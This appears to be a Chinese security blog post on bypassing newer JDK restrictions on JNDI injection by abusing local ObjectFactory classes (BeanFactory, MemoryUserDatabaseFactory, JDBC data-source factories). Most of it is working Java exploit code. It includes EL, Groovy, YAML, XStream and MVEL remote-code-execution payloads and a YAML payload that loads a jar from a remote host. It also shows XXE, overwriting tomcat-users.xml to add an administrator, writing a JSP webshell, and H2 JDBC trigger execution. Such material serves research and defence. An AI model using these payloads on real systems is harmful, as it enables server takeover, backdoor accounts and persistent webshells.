概述
限制
以下JDK版本之后出现了针对trustURLCodebase的限制,即默认不允许加载远程ObjectFactory:
- RMI:6u132, 7u122, 8u113
 
- LDAP:11.0.1, 8u191, 7u201, 6u211
 
绕过思路
绕过思路主要就是触发JDNI注入的过程中会触发受害机ObjectFactory实现类的getObjectInstance()方法,既然高版本不适用加载远程ObjectFactory,那么就是用本地ObjectFactory,常用的绕过有:
- 基于Tomcat依赖中的
BeanFactory。⭐⭐ 
- 基于Tomcat中的
MemoryUserDatabaseFactory。 
- 基于JDBC-RCE。
 
- 基于反序列化。
 
利用BeanFactory
简单看一下BeanFactory#getObjectInstance()的处理过程,首先获取Reference类名(必须是ResourceRef)并load类,如果上下文中没有ClassLoader就用SystemClassLoader。
下一步使用java.beans.Introspector对beanclass进行解析,获取bean中的所有属性,然后拿Reference类的forceString,并对其value以 ,进行split。
然后遍历split出来的hashmap,获取其setter方法
最后直接反射调用setter方法
处理逻辑其实是:
- 取出forceString的值,按照
,分割为不同的method,=分割为param与propName。 
- 将propName作为方法名反射获得一个参数为String.class的方法。
 
- 取出Addrs中param的值,并作为参数赋予propName方法执行。
 
例如:
1 2 3 4 5 6
   | ResourceRef ref = new ResourceRef("org.example.Demo", null, "", "",         true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "<param>=<propName>"));  ref.add(new StringRefAddr("<param>", "paramValue")); return ref;
 
 
  | 
 
所以总结出来可利用类的要求就是
- 类必须在本地依赖或者JDK自带。
 
- 可以调用的是public无参构造方法,并且参数只能有一个String。
 
顺着这个思路在常用的依赖中查找,有以下几个可利用的地方:
- javax.el.ELProcessor#eval()
 
- groovy.lang.GroovyShell#evaluate() / (GroovyClassLoader)
 
- org.yaml.snakeyaml.Yaml#load()
 
- com.thoughtworks.xstream.XStream#fromXML()
 
- org.mvel2**.MVEL**#eval()
 
- com.sun.glass.utils.NativeLibLoader#()
 
javax.el.ELProcessor#eval() [RCE]
执行EL表达式RCE
1 2 3 4 5 6 7 8 9 10 11
   | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",         true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval"));
  ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")); return ref;
 
 
 
 
 
 
  | 
 
groovy.lang.GroovyClassLoader#evaluate() [RCE]
顾名思义,利用groovy依赖自定义类加载。
1 2 3 4 5 6 7 8
   |         ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);         resourceRef.add(new StringRefAddr("forceString", "gungnir=parseClass"));         String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef gungnir\n", "calc.exe");         resourceRef.add(new StringRefAddr("gungnir",script));
 
 
 
 
 
  | 
 
当然也可以直接GroovyShell执行。
org.yaml.snakeyaml.Yaml#load() [RCE]
加载解析yaml字符串,实现类方法的调用,例如URLCLassLoader。
1 2 3 4 5 6 7 8 9 10
   | ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",         true, "org.apache.naming.factory.BeanFactory", null); String yaml = "!!javax.script.ScriptEngineManager [\n" +         "  !!java.net.URLClassLoader [[\n" +         "    !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +         "  ]]\n" +         "]"; ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("a", yaml)); return ref;
 
  | 
 
XML反序列化打本地反序列化链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
   | ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",             true, "org.apache.naming.factory.BeanFactory", null);     String xml = "<java.util.PriorityQueue serialization='custom'>\n" +             "  <unserializable-parents/>\n" +             "  <java.util.PriorityQueue>\n" +             "    <default>\n" +             "      <size>2</size>\n" +             "    </default>\n" +             "    <int>3</int>\n" +             "    <dynamic-proxy>\n" +             "      <interface>java.lang.Comparable</interface>\n" +             "      <handler class='sun.tracing.NullProvider'>\n" +             "        <active>true</active>\n" +             "        <providerType>java.lang.Comparable</providerType>\n" +             "        <probes>\n" +             "          <entry>\n" +             "            <method>\n" +             "              <class>java.lang.Comparable</class>\n" +             "              <name>compareTo</name>\n" +             "              <parameter-types>\n" +             "                <class>java.lang.Object</class>\n" +             "              </parameter-types>\n" +             "            </method>\n" +             "            <sun.tracing.dtrace.DTraceProbe>\n" +             "              <proxy class='java.lang.Runtime'/>\n" +             "              <implementing__method>\n" +             "                <class>java.lang.Runtime</class>\n" +             "                <name>exec</name>\n" +             "                <parameter-types>\n" +             "                  <class>java.lang.String</class>\n" +             "                </parameter-types>\n" +             "              </implementing__method>\n" +             "            </sun.tracing.dtrace.DTraceProbe>\n" +             "          </entry>\n" +             "        </probes>\n" +             "      </handler>\n" +             "    </dynamic-proxy>\n" +             "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +             "  </java.util.PriorityQueue>\n" +             "</java.util.PriorityQueue>";     ref.add(new StringRefAddr("forceString", "a=fromXML"));     ref.add(new StringRefAddr("a", xml));     return ref;
 
  | 
 
org.mvel2**.MVEL**#eval() [RCE]
通过 ShellSession.exec(String) 去执行push命令,从而解析MVEL表达式。
1 2 3 4 5 6
   | ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",         true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=exec")); ref.add(new StringRefAddr("a",         "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');")); return ref;
 
  | 
 
javax.management.loading.MLet [类探测]
只能执行到loadClass(),仅仅加载没有初始化或实例化,因此只能探测类是否存在无法直接RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13
   |     ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",             true, "org.apache.naming.factory.BeanFactory", null);     ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));     ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));     ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));     ref.add(new StringRefAddr("c", "Blue"));     return ref;
 
 
 
 
 
 
 
  | 
 
参考:https://tttang.com/archive/1489,有可用的上传接口比较方便,稳定实现较复杂。
利用MemoryUserDatabaseFactory
 这个类也实现了ObjectFactory,其getObjectInstance()方法调用一系列setter对pathname、readOnly等属性赋值,然后就会调用open()方法,如果readOnly为false则调用save()进行存储。
首先看open()方法:
open()方法会把pathname转换为URI并发起连接请求,然后使用Digester进行XML解析。
再看save(),它则是直接打开了写入流,将XML解析出来的role、user等键值写入,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
   | public void save() throws Exception {         if (this.getReadonly()) {             log.error(sm.getString("memoryUserDatabase.readOnly"));         } else if (!this.isWriteable()) {             log.warn(sm.getString("memoryUserDatabase.notPersistable"));         } else {             File fileNew = new File(this.pathnameNew);             if (!fileNew.isAbsolute()) {                 fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);             }
              this.writeLock.lock();             try {                 try {                     FileOutputStream fos = new FileOutputStream(fileNew);                     Throwable var3 = null;
                      try {                         OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF8");                         Throwable var5 = null;
                          try {                             PrintWriter writer = new PrintWriter(osw);                             Throwable var7 = null;
                              try {                                 writer.println("<?xml version='1.0' encoding='utf-8'?>");                                 writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");                                 writer.print("              ");                                 writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");                                 writer.print("              ");                                 writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");                                 writer.println("              version=\"1.0\">");                                 Iterator<?> values = null;                                 values = this.getRoles();
                                  while(values.hasNext()) {                                     writer.print("  ");                                     writer.println(values.next());                                 }
                                  values = this.getGroups();
                                  while(true) {                                     if (!values.hasNext()) {                                         values = this.getUsers();
                                          while(values.hasNext()) {                                             writer.print("  ");                                             writer.println(((MemoryUser)values.next()).toXml());                                         }
                                          writer.println("</tomcat-users>");
 
  | 
 
XXE
既然发起远程连接并且对XML进行了解析,那就存在XXE漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); resourceRef.add(new StringRefAddr("pathname","http://vps:port/exp.xml")); return resourceRef;
 
 
 
 
 
 
 
 
 
 
 
 
 
  | 
 
添加后台用户
Tomcat后台用户的账户密码在文件<CATALINA.BASE>/conf/tomcat-users.xml中可以进行配置,相关配置内容是
1 2 3
   | <user username="tomcat" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/> <user username="both" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/> <user username="role1" password="tomcat" roles="role1"/>
 
  | 
 
前面讲到open()时提到,它会把XML解析出来的账户直接写入,写入的内容我们可控,写入路径这里我们就遇到问题了,写入路径的处理逻辑是直接拼接catalina根目录与pathname: fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);,但我们使用远程URI的话就会出现http://等字符,拼接出来就是<CATALINA.BASE>/http://1.1.1.1:2222/conf/tomcat-users.xml,这时路径不存在是非法的,这时候就可以使用路径穿越的方式获取到xml文件:<CATALINA.BASE>/http://1.1.1.1:2222/../../conf/tomcat-users.xml。
这时候还有一个问题,那就是路径http:/1.1.1.1:2222不存在,路径穿越也是不合法的,解决的办法就是借用创建目录的方法将http:/1.1.1.1:2222创建出来,这里使用到的是org.h2.store.fs.FileUtils#createDirectory()。最后就可以覆盖tomcat-users.xml了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
   |  private static ResourceRef tomcatMkdirFrist() {     ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",             true, "org.apache.naming.factory.BeanFactory", null);     ref.add(new StringRefAddr("forceString", "a=createDirectory"));     ref.add(new StringRefAddr("a", "../http:"));      return ref; } private static ResourceRef tomcatMkdirLast() {     ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",             true, "org.apache.naming.factory.BeanFactory", null);     ref.add(new StringRefAddr("forceString", "a=createDirectory"));     ref.add(new StringRefAddr("a", "../http:/vps:8888"));     return ref; }
 
  private static ResourceRef tomcatManagerAdd() {     ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",             true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);     ref.add(new StringRefAddr("pathname", "http://vps:8888/../../conf/tomcat-users.xml"));     ref.add(new StringRefAddr("readonly", "false"));     return ref; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  | 
 
然后就是进后台部署war,不多说。
写webshell
上一小节其实已经实现了任意文件写,因此也可以直接向网站根目录写入webshell,原理一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | 
 
  private static ResourceRef tomcatWriteFile() {     ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",             true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);     ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));     ref.add(new StringRefAddr("readonly", "false"));     return ref; }
 
 
 
 
 
 
 
 
 
 
 
  | 
 
利用JDBC
dbcp
同样的还是找ObjectFactory,利用JDBC可以主动发起恶意数据库连接,只需要一个String类型的参数即可,注意类org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory,其getObjectInstance()方法经过层层调用会来到BasicDataSource#createDataSource()即发起数据库连接。
dbcp工厂类要依据本地classpath依赖来决定,存在多种,比如不是Tomcat时可以尝试使用commons-dbcp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
   | private static Reference tomcat_dbcp2_RCE(){     return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); } private static Reference tomcat_dbcp1_RCE(){     return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); } private static Reference commons_dbcp2_RCE(){     return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); } private static Reference commons_dbcp1_RCE(){     return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); } private static Reference dbcpByFactory(String factory){     Reference ref = new Reference("javax.sql.DataSource",factory,null);     String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +             "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +             "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +             "$$\n";     ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));     ref.add(new StringRefAddr("url",JDBC_URL));     ref.add(new StringRefAddr("username","root"));     ref.add(new StringRefAddr("password","password"));     ref.add(new StringRefAddr("initialSize","1"));     return ref; }
 
  | 
 
tomcat-jdbc
dbcp用不了时,可以尝试tomcat-jdbc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | private static Reference tomcat_JDBC_RCE(){     return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory"); } private static Reference dbcpByFactory(String factory){     Reference ref = new Reference("javax.sql.DataSource",factory,null);     String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +             "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +             "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +             "$$\n";     ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));     ref.add(new StringRefAddr("url",JDBC_URL));     ref.add(new StringRefAddr("username","root"));     ref.add(new StringRefAddr("password","password"));     ref.add(new StringRefAddr("initialSize","1"));     return ref; }
 
  | 
 
druid
原理同dbcp,DruidDataSourceFactory也可以发起数据库连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | private static Reference druid(){     Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);     String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +             "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +             "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +             "$$\n";     String JDBC_USER = "root";     String JDBC_PASSWORD = "password";
      ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));     ref.add(new StringRefAddr("url",JDBC_URL));     ref.add(new StringRefAddr("username",JDBC_USER));     ref.add(new StringRefAddr("password",JDBC_PASSWORD));     ref.add(new StringRefAddr("initialSize","1"));     ref.add(new StringRefAddr("init","true"));     return ref; }
 
  | 
 
REF